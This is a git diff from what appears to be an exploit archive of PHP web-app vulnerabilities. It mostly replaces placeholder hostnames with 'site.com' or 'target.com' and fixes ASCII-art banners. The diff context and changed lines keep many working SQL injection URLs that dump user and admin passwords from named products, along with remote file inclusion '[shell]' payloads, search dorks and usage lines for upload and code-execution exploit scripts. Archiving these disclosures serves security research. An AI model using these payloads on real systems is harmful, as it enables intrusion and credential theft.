index d6403cae8..49ef39b38 100755 --- a/platforms/php/webapps/5865.txt +++ b/platforms/php/webapps/5865.txt @@ -92,7 +92,7 @@ sub usage() -Written by h0yt3r- Usage: CC.pl [Server] [Path] Sample: - perl CC.pl www.server /shop/ + perl CC.pl www.site.com /shop/ ###################################################### }; diff --git a/platforms/php/webapps/5873.txt b/platforms/php/webapps/5873.txt index 47f6a72cb..08df52406 100755 --- a/platforms/php/webapps/5873.txt +++ b/platforms/php/webapps/5873.txt @@ -1,4 +1,4 @@ -____ _ _ _ ___ __ _ __ + ____ _ _ _ ___ __ _ __ / ___| ___ | \ | |_ _| | \ \ / /__ _ _ _ __ ___ ___| |/ _| ___ _ __ __ _ | | _ / _ \| \| | | | | | |\ V / _ \| | | | '__/ __|/ _ \ | |_ / _ \| '__/ _` | | |_| | (_) | |\ | |_| | | | | | (_) | |_| | | \__ \ __/ | _| (_) | | | (_| | diff --git a/platforms/php/webapps/5874.txt b/platforms/php/webapps/5874.txt index 2d8e369cd..3d4998e3a 100755 --- a/platforms/php/webapps/5874.txt +++ b/platforms/php/webapps/5874.txt @@ -1,4 +1,4 @@ -____ _ _ _ ___ __ _ __ + ____ _ _ _ ___ __ _ __ / ___| ___ | \ | |_ _| | \ \ / /__ _ _ _ __ ___ ___| |/ _| ___ _ __ __ _ | | _ / _ \| \| | | | | | |\ V / _ \| | | | '__/ __|/ _ \ | |_ / _ \| '__/ _` | | |_| | (_) | |\ | |_| | | | | | (_) | |_| | | \__ \ __/ | _| (_) | | | (_| | diff --git a/platforms/php/webapps/5875.txt b/platforms/php/webapps/5875.txt index 0a6b00cdd..fd2c128e4 100755 --- a/platforms/php/webapps/5875.txt +++ b/platforms/php/webapps/5875.txt @@ -27,7 +27,7 @@ ## ## -(:: SQL ::)- ## -## www.server/ +## www.site.com/ ## links-extern.php?id=-2+union+select+1,concat_ws(0x3a,user,password),1,1,1,1+from+user/* ## ## -(:: L!VE DEMO ::)- diff --git a/platforms/php/webapps/5876.txt b/platforms/php/webapps/5876.txt index 06a659b99..af6f95803 100755 --- a/platforms/php/webapps/5876.txt +++ b/platforms/php/webapps/5876.txt @@ -13,6 +13,6 @@ bug Script: require_once("{$jamroom['jm_dir']}/include/jamroom-payment.inc.php"); Bug Found: -http://www.server/include/plugins/jrBrowser/purchase.php?jamroom[jm_dir]=[shell] +http://www.site.com/include/plugins/jrBrowser/purchase.php?jamroom[jm_dir]=[shell] # milw0rm.com [2008-06-20] diff --git a/platforms/php/webapps/5879.txt b/platforms/php/webapps/5879.txt index 34e63549b..30d885107 100755 --- a/platforms/php/webapps/5879.txt +++ b/platforms/php/webapps/5879.txt @@ -31,7 +31,7 @@ ## ## -(:: SQL ::)- ## -## www.server/ +## www.site.com/ ## profile.php?user_id=1&auction_id=-2+union+select+concat_ws(0x2F2A2A2F,nick,password,email)+from+PHPAUCTION_users+limit+1,1/* ## ## -(:: L!VE DEMO ::)- diff --git a/platforms/php/webapps/5881.txt b/platforms/php/webapps/5881.txt index 17805f5e2..621879776 100755 --- a/platforms/php/webapps/5881.txt +++ b/platforms/php/webapps/5881.txt @@ -30,7 +30,7 @@ ## ## and ## -## www.server/articles.php?cat_id=-1'+union+select+1,1,concat_ws(0x3a,user_name,user_password),1,1,1,1,1,1,1+from+atcms_users/* +## www.site.com/articles.php?cat_id=-1'+union+select+1,1,concat_ws(0x3a,user_name,user_password),1,1,1,1,1,1,1+from+atcms_users/* ## ####################### ####################### diff --git a/platforms/php/webapps/5883.txt b/platforms/php/webapps/5883.txt index 04cbd6776..17c6c7a56 100755 --- a/platforms/php/webapps/5883.txt +++ b/platforms/php/webapps/5883.txt @@ -23,7 +23,7 @@ ######################## ## -(:: SQL ::)- -## www.server/ +## www.site.com/ ## index.php?main=comment&sub=index&view=&qid=3&cat_id=-3+union+select+1,concat_ws(0x3a3a,uname,pwd),3,4,5,6,7,8,9,10+from+user/* ## ## -(:: L!VE DEMO ::)- diff --git a/platforms/php/webapps/5885.pl b/platforms/php/webapps/5885.pl index fe4bb4f28..5cc32c0f3 100755 --- a/platforms/php/webapps/5885.pl +++ b/platforms/php/webapps/5885.pl @@ -23,7 +23,7 @@ print <<INFO; # heredocs is ugly.. so is my INFO ;) INFO -print "Enter URL(ie: http://server): "; +print "Enter URL(ie: http://site.com): "; chomp(my $url=<STDIN>); my ($substr, $done, $chr, $res) = (1, 1, 48, ""); diff --git a/platforms/php/webapps/5886.pl b/platforms/php/webapps/5886.pl index a6e7cf62d..bc13dc914 100755 --- a/platforms/php/webapps/5886.pl +++ b/platforms/php/webapps/5886.pl @@ -16,7 +16,7 @@ print <<INTRO; INTRO -print "Enter URL(ie: http://server): "; +print "Enter URL(ie: http://site.com): "; chomp(my $url=<STDIN>); print "Enter File Path(path to local file to upload): "; diff --git a/platforms/php/webapps/5887.pl b/platforms/php/webapps/5887.pl index 98831522c..c4f14ea00 100755 --- a/platforms/php/webapps/5887.pl +++ b/platforms/php/webapps/5887.pl @@ -21,7 +21,7 @@ print <<INTRO; - - - - - - - - - - - - - - - - - - - - - - - - - - - - INTRO -print "\nEnter Target URL(ie: http://server): "; +print "\nEnter Target URL(ie: http://site.com): "; chomp(my $host=<STDIN>); print "\nEnter Local File Path To Upload(ie: C:\\file.txt): "; diff --git a/platforms/php/webapps/5889.txt b/platforms/php/webapps/5889.txt index 85eaa1654..8af6b75b5 100755 --- a/platforms/php/webapps/5889.txt +++ b/platforms/php/webapps/5889.txt @@ -27,8 +27,8 @@ [*] SQL Injection: -For Admin: http://server/teams.php?fflteam_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,CONCAT(username,0x3a,password)/**/FROM/**/users/**/WHERE/**/admin=1/**/LIMIT/**/0,1/* -For Users: http://server/teams.php?fflteam_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,CONCAT(username,0x3a,password)/**/FROM/**/users/**/LIMIT/**/0,1/* +For Admin: http://site.com/teams.php?fflteam_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,CONCAT(username,0x3a,password)/**/FROM/**/users/**/WHERE/**/admin=1/**/LIMIT/**/0,1/* +For Users: http://site.com/teams.php?fflteam_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,CONCAT(username,0x3a,password)/**/FROM/**/users/**/LIMIT/**/0,1/* diff --git a/platforms/php/webapps/5890.txt b/platforms/php/webapps/5890.txt index f10ecc90f..7ff4fcceb 100755 --- a/platforms/php/webapps/5890.txt +++ b/platforms/php/webapps/5890.txt @@ -23,7 +23,7 @@ Exploit: -http://www.server/[PaTs]/news.php?id=-1+union+select+null,null,concat_ws +http://www.site.com/[PaTs]/news.php?id=-1+union+select+null,null,concat_ws (0x3a,username,admin_password),0x4861636B65645F42795F48757373696E5F58,null+from+admin diff --git a/platforms/php/webapps/5895.txt b/platforms/php/webapps/5895.txt index 323d08877..d37523e32 100755 --- a/platforms/php/webapps/5895.txt +++ b/platforms/php/webapps/5895.txt @@ -16,7 +16,7 @@ Download : http://aspindir.com/goster/4476 SQL attack ; -http://server/path/default.asp?git=4&sayfa=-3+union+all+select+0,copy,keyword+from+ayarlar +http://target.com/path/default.asp?git=4&sayfa=-3+union+all+select+0,copy,keyword+from+ayarlar Tables; @@ -41,12 +41,12 @@ ayarlar Update file ( Direct Access ) - http://localserver/path/upgrade.asp + http://localsite.com/path/upgrade.asp And default Database file -http://server/path/Db/urun.mdb +http://target.com/path/Db/urun.mdb ############################################################### diff --git a/platforms/php/webapps/5907.pl b/platforms/php/webapps/5907.pl index fa0c5b94f..435229b1e 100755 --- a/platforms/php/webapps/5907.pl +++ b/platforms/php/webapps/5907.pl @@ -11,7 +11,7 @@ print <<INTRO; +++++++++++++++++++++++++++++++++++++++++++++++++++++ # t0pP8uZz INTRO -print "Enter URL(ie: http://server): "; +print "Enter URL(ie: http://site.com): "; chomp(my $url=<STDIN>); print "Enter File Path(path to local file to upload): "; diff --git a/platforms/php/webapps/5910.txt b/platforms/php/webapps/5910.txt index 03e53ec00..892bb8884 100755 --- a/platforms/php/webapps/5910.txt +++ b/platforms/php/webapps/5910.txt @@ -27,7 +27,7 @@ ## ## -(:: SQL ::)- ## -## www.server/ +## www.site.com/ ## pages.php?menuid=-1+union+select+1,concat_ws(0x3a,username,password),3,4,concat_ws(0x3a,user(),version(),database())+from+sky_admin/* ## ## -(:: L!VE DeMo ::)- diff --git a/platforms/php/webapps/5911.txt b/platforms/php/webapps/5911.txt index a6c2a0c30..5de88032b 100755 --- a/platforms/php/webapps/5911.txt +++ b/platforms/php/webapps/5911.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -15,7 +15,7 @@ # http://sourceforge.net/projects/researchguide/ # # - # Vuln: http://server/guide/guide.php?id=-1+UNION+SELECT+1,2,concat_ws(char(58),id,name,uniqname,email),4,5,6,7,8,9%20from%20selector/* + # Vuln: http://site.com/guide/guide.php?id=-1+UNION+SELECT+1,2,concat_ws(char(58),id,name,uniqname,email),4,5,6,7,8,9%20from%20selector/* # # # Bug: diff --git a/platforms/php/webapps/5915.txt b/platforms/php/webapps/5915.txt index 0db874943..a33d4234a 100755 --- a/platforms/php/webapps/5915.txt +++ b/platforms/php/webapps/5915.txt @@ -20,7 +20,7 @@ Bug Fix Advice : Undefined deÄŸerler, tanımlanmalıdır. < -- bug code start -- > -www.server/path/components/com_facileforms/facileforms.frame.php?ff_compath=[SH3LL] +www.site.com/path/components/com_facileforms/facileforms.frame.php?ff_compath=[SH3LL] /path/components/com_facileforms/facileforms.frame.php?ff_compath=[SH3LL] diff --git a/platforms/php/webapps/5929.txt b/platforms/php/webapps/5929.txt index 9196e3d2e..26e42ff63 100755 --- a/platforms/php/webapps/5929.txt +++ b/platforms/php/webapps/5929.txt @@ -20,7 +20,7 @@ Exploit: -http://www.server/Script/adclick.php?bannerid=-1+union+select+concat_ws +http://www.site.com/Script/adclick.php?bannerid=-1+union+select+concat_ws (0x3a,login,pass)+from+pass-- diff --git a/platforms/php/webapps/5942.txt b/platforms/php/webapps/5942.txt index ff6586f3c..375e6e361 100755 --- a/platforms/php/webapps/5942.txt +++ b/platforms/php/webapps/5942.txt @@ -19,16 +19,16 @@ webpage : www.khg-crew.ws example: -www.server/infusions/the_kroax/kroax.php?category= [SQL] +www.site.com/infusions/the_kroax/kroax.php?category= [SQL] [+] username: -www.xxx-server/infusions/the_kroax/kroax.php?category=-9999/**/union/**/all/**/select/**/1,user_name,3,4,5,6/**/from/**/fusion_users/**/where/**/user_id=1--&boom3rang +www.xxx-site.com/infusions/the_kroax/kroax.php?category=-9999/**/union/**/all/**/select/**/1,user_name,3,4,5,6/**/from/**/fusion_users/**/where/**/user_id=1--&boom3rang [+] password: -www.xxx-server/infusions/the_kroax/kroax.php?category=-9999/**/union/**/all/**/select/**/1,user_password,3,4,5,6/**/from/**/fusion_users/**/where/**/user_id=1--&boom3rang\ +www.xxx-site.com/infusions/the_kroax/kroax.php?category=-9999/**/union/**/all/**/select/**/1,user_password,3,4,5,6/**/from/**/fusion_users/**/where/**/user_id=1--&boom3rang\ ps. To find username use first "SQL" with table_name user_name, and for password use second "SQL" with table_name user_password. diff --git a/platforms/php/webapps/5946.txt b/platforms/php/webapps/5946.txt index 301fc19d3..b78a56bdc 100755 --- a/platforms/php/webapps/5946.txt +++ b/platforms/php/webapps/5946.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/5947.txt b/platforms/php/webapps/5947.txt index 170bb7518..9e295dce4 100755 --- a/platforms/php/webapps/5947.txt +++ b/platforms/php/webapps/5947.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/5948.txt b/platforms/php/webapps/5948.txt index 6369b3dd8..56baa237e 100755 --- a/platforms/php/webapps/5948.txt +++ b/platforms/php/webapps/5948.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/5949.txt b/platforms/php/webapps/5949.txt index 3ab4fd48d..f67aad34e 100755 --- a/platforms/php/webapps/5949.txt +++ b/platforms/php/webapps/5949.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/5950.txt b/platforms/php/webapps/5950.txt index 39df83334..768454ac4 100755 --- a/platforms/php/webapps/5950.txt +++ b/platforms/php/webapps/5950.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/5954.txt b/platforms/php/webapps/5954.txt index 1c0fba25c..0deab71d7 100755 --- a/platforms/php/webapps/5954.txt +++ b/platforms/php/webapps/5954.txt @@ -1,4 +1,4 @@ -#################################################################################################### + #################################################################################################### # # # ...:::::A+ PHP Scripts - News Management System Insecure Cookie Handling Vulnerability ::::.... # ################################################################################################### diff --git a/platforms/php/webapps/5959.txt b/platforms/php/webapps/5959.txt index f1abbbdc1..c165d90e3 100755 --- a/platforms/php/webapps/5959.txt +++ b/platforms/php/webapps/5959.txt @@ -1,4 +1,4 @@ -################################################################################### + ################################################################################### # # # ...:::::OTManager CMS v2.4 Insecure Cookie Handling Vulnerability ::::.... # ################################################################################### diff --git a/platforms/php/webapps/5960.txt b/platforms/php/webapps/5960.txt index 83cca6e92..773bc9194 100755 --- a/platforms/php/webapps/5960.txt +++ b/platforms/php/webapps/5960.txt @@ -29,7 +29,7 @@ ## ## -(:: SQL ::)- ## -## www.server/ +## www.site.com/ ## poll.php?poll_id=1'+union+select+1,convert(concat_ws(0x3a3a,user_name,user_password)+using+latin1),1,1,1,1,1,1,1,1+from+seportal_users+limit+1,1/* ## ## diff --git a/platforms/php/webapps/5961.txt b/platforms/php/webapps/5961.txt index cbb52d342..17d01fb57 100755 --- a/platforms/php/webapps/5961.txt +++ b/platforms/php/webapps/5961.txt @@ -16,12 +16,12 @@ webpage : www.khg-crew.ws [+] Dork: inurl:"classifieds.php?op=detail_adverts" -[+] Example: www.server/infusions/classifieds/classifieds.php?op=detail_adverts&lid= [SQL] +[+] Example: www.SITE.com/infusions/classifieds/classifieds.php?op=detail_adverts&lid= [SQL] exploit: -www.server/infusions/classifieds/classifieds.php?op=detail_adverts&lid=-9999+union+all+select+1,user_name,user_password,4,5,6,null,null+from+fusion_users-- +www.SITE.com/infusions/classifieds/classifieds.php?op=detail_adverts&lid=-9999+union+all+select+1,user_name,user_password,4,5,6,null,null+from+fusion_users-- diff --git a/platforms/php/webapps/5964.txt b/platforms/php/webapps/5964.txt index 80e56b745..05e424523 100755 --- a/platforms/php/webapps/5964.txt +++ b/platforms/php/webapps/5964.txt @@ -27,7 +27,7 @@ Exploit: -http://www.server/obmp22/checkavail.php?ln=en&id=-1+union+select+concat_ws(0x3a,UserName,UserPassword)+from+users-- +http://www.site.com/obmp22/checkavail.php?ln=en&id=-1+union+select+concat_ws(0x3a,UserName,UserPassword)+from+users-- diff --git a/platforms/php/webapps/5971.pl b/platforms/php/webapps/5971.pl index 3a9f72064..1f99acac6 100755 --- a/platforms/php/webapps/5971.pl +++ b/platforms/php/webapps/5971.pl @@ -62,7 +62,7 @@ if ($#ARGV + 1 != 4) print " `------' \n"; print " \n"; print "Usage: ./xpl-barenuked.pl <BareNuked-CMS URL> <user> <pass> <email>\n"; - print "Ex. ./xpl-barenuked.pl http://server/barenuked/ cwh password cwh\@cwh.com\n"; + print "Ex. ./xpl-barenuked.pl http://www.target.com/barenuked/ cwh password cwh\@cwh.com\n"; exit(); } diff --git a/platforms/php/webapps/5972.txt b/platforms/php/webapps/5972.txt index 9708313c1..9146b924c 100755 --- a/platforms/php/webapps/5972.txt +++ b/platforms/php/webapps/5972.txt @@ -27,7 +27,7 @@ user_password),6%20from%20users/* Note: There can by diffrent number of Table, you have to search. -Note2: The admin Panel is www.server/admin/ but i can't login with the +Note2: The admin Panel is www.site.com/admin/ but i can't login with the Password and Login name from the SQL Injection. :( ########################################################## diff --git a/platforms/php/webapps/5977.txt b/platforms/php/webapps/5977.txt index c62c72231..048e0c1ea 100755 --- a/platforms/php/webapps/5977.txt +++ b/platforms/php/webapps/5977.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) ---------------------oOO---(_)---OOo-------------------- | pSys v0.7.0 Alpha (chatbox.php) Remote SQL Injection | diff --git a/platforms/php/webapps/5987.txt b/platforms/php/webapps/5987.txt index 9c42ffbff..d4d9bc524 100755 --- a/platforms/php/webapps/5987.txt +++ b/platforms/php/webapps/5987.txt @@ -18,7 +18,7 @@ Download : http://www.aspindir.com/indir/5479 SQL attack ; -http://server/path/?cmd=urunler&cat_id=30+union+select+0+from+ayarlar +http://target.com/path/?cmd=urunler&cat_id=30+union+select+0+from+ayarlar Tables; diff --git a/platforms/php/webapps/5990.txt b/platforms/php/webapps/5990.txt index 26549e8a8..8dd68a880 100755 --- a/platforms/php/webapps/5990.txt +++ b/platforms/php/webapps/5990.txt @@ -1,4 +1,4 @@ -H-T Team { HouSSamix & ToXiC350 } + H-T Team { HouSSamix & ToXiC350 } ===================================================================== Joomla Component mygallery Remote SQL Injection Exploit ===================================================================== diff --git a/platforms/php/webapps/5991.txt b/platforms/php/webapps/5991.txt index 2e46bc081..c08015a58 100755 --- a/platforms/php/webapps/5991.txt +++ b/platforms/php/webapps/5991.txt @@ -18,7 +18,7 @@ ## # #PoC: - #http://server/path/newThread.php?boardID=+999999%20union%20select%20email,concat_ws(0x3a,nick,substring(password,1,100)),email,email,email%20from%20user/* + #http://site.com/path/newThread.php?boardID=+999999%20union%20select%20email,concat_ws(0x3a,nick,substring(password,1,100)),email,email,email%20from%20user/* # # # # diff --git a/platforms/php/webapps/5994.pl b/platforms/php/webapps/5994.pl index ad1fc6efb..ce5bcb1d4 100755 --- a/platforms/php/webapps/5994.pl +++ b/platforms/php/webapps/5994.pl @@ -29,7 +29,7 @@ print "\t\t########################################################\n\n"; use LWP::UserAgent; -print "\nEnter your Target (http://server/joomla/): "; +print "\nEnter your Target (http://site.com/joomla/): "; chomp(my $target=<STDIN>); $uname="username"; diff --git a/platforms/php/webapps/5995.pl b/platforms/php/webapps/5995.pl index 2f316eaa5..53853d236 100755 --- a/platforms/php/webapps/5995.pl +++ b/platforms/php/webapps/5995.pl @@ -30,7 +30,7 @@ print "\t\t########################################################\n\n"; use LWP::UserAgent; -print "\nEnter your Target (http://server/joomla/): "; +print "\nEnter your Target (http://site.com/joomla/): "; chomp(my $target=<STDIN>); $uname="username"; diff --git a/platforms/php/webapps/5996.txt b/platforms/php/webapps/5996.txt index e33cc4b77..d708dcf78 100755 --- a/platforms/php/webapps/5996.txt +++ b/platforms/php/webapps/5996.txt @@ -9,9 +9,9 @@ # Class: Remote File Include Vulnerability # # exemplary Exp: -# http://www.server/sablonlar/gunaysoft/gunaysoft.php?icerikyolu=[shell] -# http://www.server/sablonlar/gunaysoft/gunaysoft.php?sayfaid=[shell] -# http://www.server/sablonlar/gunaysoft/gunaysoft.php?uzanti=[shell] +# http://www.site.com/sablonlar/gunaysoft/gunaysoft.php?icerikyolu=[shell] +# http://www.site.com/sablonlar/gunaysoft/gunaysoft.php?sayfaid=[shell] +# http://www.site.com/sablonlar/gunaysoft/gunaysoft.php?uzanti=[shell] # # Remote: Yes # diff --git a/platforms/php/webapps/5997.pl b/platforms/php/webapps/5997.pl index 38b3e9396..4aeeb4a96 100755 --- a/platforms/php/webapps/5997.pl +++ b/platforms/php/webapps/5997.pl @@ -19,7 +19,7 @@ print "- -\n"; print "- -\n"; print "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n"; -print "\nEnter URL (ie: http://server): "; +print "\nEnter URL (ie: http://site.com): "; chomp(my $url=<STDIN>); if(inject_test($url)) { diff --git a/platforms/php/webapps/5998.txt b/platforms/php/webapps/5998.txt index 85fdab3e7..7b6e3c878 100755 --- a/platforms/php/webapps/5998.txt +++ b/platforms/php/webapps/5998.txt @@ -1,4 +1,4 @@ -____ _ _ _ ___ __ _ __ + ____ _ _ _ ___ __ _ __ / ___| ___ | \ | |_ _| | \ \ / /__ _ _ _ __ ___ ___| |/ _| ___ _ __ __ _ | | _ / _ \| \| | | | | | |\ V / _ \| | | | '__/ __|/ _ \ | |_ / _ \| '__/ _` | | |_| | (_) | |\ | |_| | | | | | (_) | |_| | | \__ \ __/ | _| (_) | | | (_| | diff --git a/platforms/php/webapps/5999.txt b/platforms/php/webapps/5999.txt index aaf7ac6f6..8c14f423b 100755 --- a/platforms/php/webapps/5999.txt +++ b/platforms/php/webapps/5999.txt @@ -21,7 +21,7 @@ Download: http://www.codewalkers.com/codefiles/476_phpwebnews-mysql.zip ================================================================================= expl0it: -http://server/phpwebnews-mysql/bukutamu.php?det=-1/**/union/**/select/**/1,2,user,passwd,5,6,7/**/from/**/user/* +http://site.com/phpwebnews-mysql/bukutamu.php?det=-1/**/union/**/select/**/1,2,user,passwd,5,6,7/**/from/**/user/* ================================================================================= Young Iranian h4ck3rz ================================================================================= diff --git a/platforms/php/webapps/6002.pl b/platforms/php/webapps/6002.pl index 972d7dd4d..e8bee6969 100755 --- a/platforms/php/webapps/6002.pl +++ b/platforms/php/webapps/6002.pl @@ -31,7 +31,7 @@ print "\t\t========================================================\n\n"; use LWP::UserAgent; -print "\nEnter your Target (http://server/joomla/): "; +print "\nEnter your Target (http://site.com/joomla/): "; chomp(my $target=<STDIN>); $uname="username"; diff --git a/platforms/php/webapps/6008.php b/platforms/php/webapps/6008.php index 0585aff18..c9225fc54 100755 --- a/platforms/php/webapps/6008.php +++ b/platforms/php/webapps/6008.php @@ -6,7 +6,7 @@ Greetz : Gu1ll4um3r0m41n Howto : 1. Go to your User Control Panel 2. Upload any file you want 3. Tamper the request and change the mime-type to : image/gif - 4. There is your file : http://server/[forum_path]/images/avatars/uploads/[your_nickname]_[filename].[ext] + 4. There is your file : http://site.com/[forum_path]/images/avatars/uploads/[your_nickname]_[filename].[ext] <?php /* @@ -28,7 +28,7 @@ if(count($argv) == 5) echo "+---------------------------------------------------------------+\r\n"; echo "| ImperialBB <= 2.3.5 Remote Upload Vulnerability |\r\n"; echo "| By PHPLizardo - irc.worldnet.net #carib0u |\r\n"; - echo "| Usage: php exploit.php server /path/ user pass |\r\n"; + echo "| Usage: php exploit.php site.com /path/ user pass |\r\n"; echo "+---------------------------------------------------------------+\r\n"; echo "\n"; @@ -117,7 +117,7 @@ else echo "+----.-----------------------------------------------------------+\r\n"; echo "| ImperialBB <= 2.3.5 Remote Upload Vulnerability |\r\n"; echo "| By PHPLizardo - irc.worldnet.net #carib0u |\r\n"; - echo "| Usage: php exploit.php server /path/ user pass |\r\n"; + echo "| Usage: php exploit.php site.com /path/ user pass |\r\n"; echo "+---------------------------------------------------------------+\r\n"; echo "\n\n"; } diff --git a/platforms/php/webapps/6009.pl b/platforms/php/webapps/6009.pl index 41417391e..d7972559c 100755 --- a/platforms/php/webapps/6009.pl +++ b/platforms/php/webapps/6009.pl @@ -11,7 +11,7 @@ # This exploit creates shell in /code/counter/middle_index_inc.php # # USAGE: -# Run exploit: perl expl.pl http://www.server +# Run exploit: perl expl.pl http://www.site.com # # NEEDED: # magic_quotes_gpc=off diff --git a/platforms/php/webapps/6014.txt b/platforms/php/webapps/6014.txt index 71a2943aa..068b547fd 100755 --- a/platforms/php/webapps/6014.txt +++ b/platforms/php/webapps/6014.txt @@ -7,9 +7,9 @@ #gdork: "Pay Per Click Script powered by SmartPPC.com." -#vuln: server/directory.php?username=&idDirectory=90992%20and%20ascii(substring((SELECT%20concat(username,0x3a,pass)%20from%20users%20limit%200,1),1,1))%3E108 +#vuln: site.com/directory.php?username=&idDirectory=90992%20and%20ascii(substring((SELECT%20concat(username,0x3a,pass)%20from%20users%20limit%200,1),1,1))%3E108 -#login: server/accounts.php +#login: site.com/accounts.php --------------------------------------- greetz Hamtaro aka CorVu5 diff --git a/platforms/php/webapps/6016.pl b/platforms/php/webapps/6016.pl index b7465a165..6b5cc2944 100755 --- a/platforms/php/webapps/6016.pl +++ b/platforms/php/webapps/6016.pl @@ -22,7 +22,7 @@ use LWP::UserAgent; print " Powered by Cod3rZ \n"; print " http://cod3rz.helloweb.eu \n"; print " -------------------------------------------------\n"; - print " Insert Site (http://server/): \n "; + print " Insert Site (http://site.com/): \n "; chomp($site = <STDIN>); print " -------------------------------------------------\n"; print " Insert Logs path \n "; diff --git a/platforms/php/webapps/6018.pl b/platforms/php/webapps/6018.pl index 95859a706..889cbe8b0 100755 --- a/platforms/php/webapps/6018.pl +++ b/platforms/php/webapps/6018.pl @@ -12,7 +12,7 @@ # Admin will not see that "/data/sess.php" is deleted (it will be restored back in new auth). # # USAGE: -# Run exploit :perl expl.pl http://www.server +# Run exploit :perl expl.pl http://www.site.com # # NEEDED: # regardless php.ini settings... diff --git a/platforms/php/webapps/6021.txt b/platforms/php/webapps/6021.txt index a87fe3d7d..410f8898d 100755 --- a/platforms/php/webapps/6021.txt +++ b/platforms/php/webapps/6021.txt @@ -26,7 +26,7 @@ [*] SQL Injection: - http://server/index.php?file=1/**/UNION/**/ALL/**/SELECT/**/1,CONVERT(name/**/using/**/latin1),3,4/**/FROM/**/settings/* + http://site.com/index.php?file=1/**/UNION/**/ALL/**/SELECT/**/1,CONVERT(name/**/using/**/latin1),3,4/**/FROM/**/settings/* diff --git a/platforms/php/webapps/6022.txt b/platforms/php/webapps/6022.txt index b13764792..155cf8a93 100755 --- a/platforms/php/webapps/6022.txt +++ b/platforms/php/webapps/6022.txt @@ -28,7 +28,7 @@ [*] SQL Injection: - http://server/index.php?go=listings&listing_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,CONVERT(CONCAT(0x3C666F6E7420636F6C6F723D7265643E,username,0x3a,password,0x3C2F666F6E743E)/**/using/**/latin1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/**/FROM/**/users/**/LIMIT/**/0,1/* + http://site.com/index.php?go=listings&listing_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,CONVERT(CONCAT(0x3C666F6E7420636F6C6F723D7265643E,username,0x3a,password,0x3C2F666F6E743E)/**/using/**/latin1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/**/FROM/**/users/**/LIMIT/**/0,1/* diff --git a/platforms/php/webapps/6023.pl b/platforms/php/webapps/6023.pl index e6cb3f2d1..9ef9720bf 100755 --- a/platforms/php/webapps/6023.pl +++ b/platforms/php/webapps/6023.pl @@ -61,7 +61,7 @@ print " \n"; if ($#ARGV + 1 != 3) { print "Usage: ./xpl-brewblogger.pl <BrewBlogger URL> <user> <pass>\n"; - print "Ex. ./xpl-brewblogger.pl http://server/BrewBlogger/ cwhuser cwhpass\n"; + print "Ex. ./xpl-brewblogger.pl http://www.target.com/BrewBlogger/ cwhuser cwhpass\n"; exit(); } diff --git a/platforms/php/webapps/6027.txt b/platforms/php/webapps/6027.txt index 88a25b3cf..e78169164 100755 --- a/platforms/php/webapps/6027.txt +++ b/platforms/php/webapps/6027.txt @@ -27,7 +27,7 @@ [*] SQL Injection: - http://server/index.php?cid=-1/**/UNION/**/ALL/**/SELECT/**/CONVERT(CONCAT(name,0x3a,password,0x3C62723E)/**/using/**/latin1),2,3,4/**/FROM/**/users/* + http://site.com/index.php?cid=-1/**/UNION/**/ALL/**/SELECT/**/CONVERT(CONCAT(name,0x3a,password,0x3C62723E)/**/using/**/latin1),2,3,4/**/FROM/**/users/* diff --git a/platforms/php/webapps/6040.txt b/platforms/php/webapps/6040.txt index 44b191f87..d1d0bdc10 100755 --- a/platforms/php/webapps/6040.txt +++ b/platforms/php/webapps/6040.txt @@ -1,4 +1,4 @@ -________________________________________ + ________________________________________ | File Store PRO 3.2 Blind SQL Injection | |________________________________________| diff --git a/platforms/php/webapps/6053.php b/platforms/php/webapps/6053.php index a08df5ebc..8f121123b 100755 --- a/platforms/php/webapps/6053.php +++ b/platforms/php/webapps/6053.php @@ -4,7 +4,7 @@ ## Fuzzylime 3.01 Remote Code Execution ## Credits: Inphex and real ## -## [C:\]# php fuzzylime.php http://server/fuzzylime/ +## [C:\]# php fuzzylime.php http://www.target.com/fuzzylime/ ## [target][cmd]# id ## 